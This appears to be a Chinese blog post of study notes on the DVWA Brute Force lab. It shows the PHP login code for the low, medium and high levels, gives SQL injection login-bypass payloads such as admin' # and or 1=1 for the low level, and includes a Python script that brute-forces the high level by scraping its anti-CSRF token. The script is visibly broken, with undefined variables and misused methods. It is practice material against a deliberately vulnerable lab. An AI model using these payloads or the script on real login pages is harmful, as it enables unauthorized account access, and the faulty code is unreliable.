这之后都会是巩固的笔记,把以前留下的坑填一下。

DVWA Brute Force

通过这个靶机来温习下sql注入的一下要点和防御。

low

源码

<?php 

if( isset( $_GET[ 'Login' ] ) ) { 
    // Get username 
    $user = $_GET[ 'username' ]; 

    // Get password 
    $pass = $_GET[ 'password' ]; 
    $pass = md5( $pass ); 

    // Check the database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    if( $result && mysql_num_rows( $result ) == 1 ) { 
        // Get users details 
        $avatar = mysql_result( $result, 0, "avatar" ); 

        // Login successful 
        echo "<p>Welcome to the password protected area {$user}</p>"; 
        echo "<img src=\"{$avatar}\" />"; 
    } 
    else { 
        // Login failed 
        echo "<pre><br />Username and/or password incorrect.</pre>"; 
    } 

    mysql_close(); 
} 

?> 

没有任何的防御,可以直接爆破,也是可以直接注入的。
这楼里不介绍如何爆破了,bp还是很简单易懂的,主要是这里的注入。

因为没有任何防御,直接构造
( $result && mysql_num_rows( $result ) == 1 )
根据这个判断,只要查询结果不为空,而且为一行记录就可以登陆

所以以下构造都是可以的

admin' #
' union select 1,2,3,4,5,6,7,8#
' or 1=1 limit 1,1#

Medium

源码


<?php 

if( isset( $_GET[ 'Login' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Sanitise username input 
    $user = $_GET[ 'username' ]; 
    $user = stripslashes( $user ); 
    $user = mysql_real_escape_string( $user ); 

    // Sanitise password input 
    $pass = $_GET[ 'password' ]; 
    $pass = stripslashes( $pass ); 
    $pass = mysql_real_escape_string( $pass ); 
    $pass = md5( $pass ); 

    // Check database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    if( $result && mysql_num_rows( $result ) == 1 ) { 
        // Get users details 
        $avatar = mysql_result( $result, 0, "avatar" ); 

        // Login successful 
        echo "<p>Welcome to the password protected area {$user}</p>"; 
        echo "<img src=\"{$avatar}\" />"; 
    } 
    else { 
        // Login failed 
        sleep( rand( 0, 3 ) ); 
        echo "<pre><br />Username and/or password incorrect.</pre>"; 
    } 

    mysql_close(); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

黑盒测试的时候发现单引号是被过滤了,所以常规注入肯定时候不存在的,但是我暴力破解了也还是可以的,没有防御,这里也不记录。

因为存在mysql_real_escape_string()函数,注入的关键符号被过滤了,但是依然要记得要小心宽字节注入。

待补

high

<?php 

if( isset( $_GET[ 'Login' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Sanitise username input 
    $user = $_GET[ 'username' ]; 
    $user = stripslashes( $user ); 
    $user = mysql_real_escape_string( $user ); 

    // Sanitise password input 
    $pass = $_GET[ 'password' ]; 
    $pass = stripslashes( $pass ); 
    $pass = mysql_real_escape_string( $pass ); 
    $pass = md5( $pass ); 

    // Check database 
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    if( $result && mysql_num_rows( $result ) == 1 ) { 
        // Get users details 
        $avatar = mysql_result( $result, 0, "avatar" ); 

        // Login successful 
        echo "<p>Welcome to the password protected area {$user}</p>"; 
        echo "<img src=\"{$avatar}\" />"; 
    } 
    else { 
        // Login failed 
        sleep( rand( 0, 3 ) ); 
        echo "<pre><br />Username and/or password incorrect.</pre>"; 
    } 

    mysql_close(); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

高阶这里为每个页面都加入了不同的token值,确实能防止一定的爆破,但是也是能够通过bp和自写脚本解决,bp爆破可以参考这

#! /usr/bin/env/python
#-*-coding:utf-8-*-

import requests
from lxml import etree 

#字典
nameFile=['root',]



passFile = [
    'administrator',
    'admin',
    'password',
    'passwd',
    '123456',
    '123'
]

url = """http://localhost/dvwa/vulnerabilities/brute/?username={0}&password={1}&Login=Login&user_token={2}#"""

cookies = { #这里填写自己的cookie值注意是python的字典类型
    'security':'high',
    'PHPSESSID':'XXXXXXXXXXXXXXXXXXXXX',
    'mask':'123'
}

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
}

def attack(payloads,url):
    #先要获得user_token
    source = 'http://localhost/dvwa/vulnerabilities/brute/index.php#'
    index = 0
    web_data = requests.get(source,headers = headers,cookies=cookies)#请求必须带上cookie,因为dvwa需要登陆
    web_data_text = web_data.text().decode('utf-8')    

    user_token = web_data_text.xpath("//input[@name='user_token']/@value")
    #从字典枚举
    for payload1 in nameFile:
        for payload2 in passFile:
            target = url.format(payload1,payload2,user_token)
            print u'当前请求:'+target
            web_data_text = web_data.text().decode('utf-8')    

            user_token = web_data_text.xpath("//input[@name='user_token']/@value")
            feature = soup.find('pre')
            try:
                if feature.get_text()=='Username and/or password incorrect.':#错误的密码或者用户名就会页面会出现此语句,这也是我们需要检索的
                    print u'错误'
            except:
                print u'可能得到结果:'
                print 'username:'+payload1+'\n'+'password:'+payload2
                exit(u'结束')

if __name__ == '__main__':
    attack(payloads,url)

推荐使用弱口令(Parrot的弱口令目录在/usr/share/wordlists/rockyou.txt)



CTF  

DVWA SQL注入

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!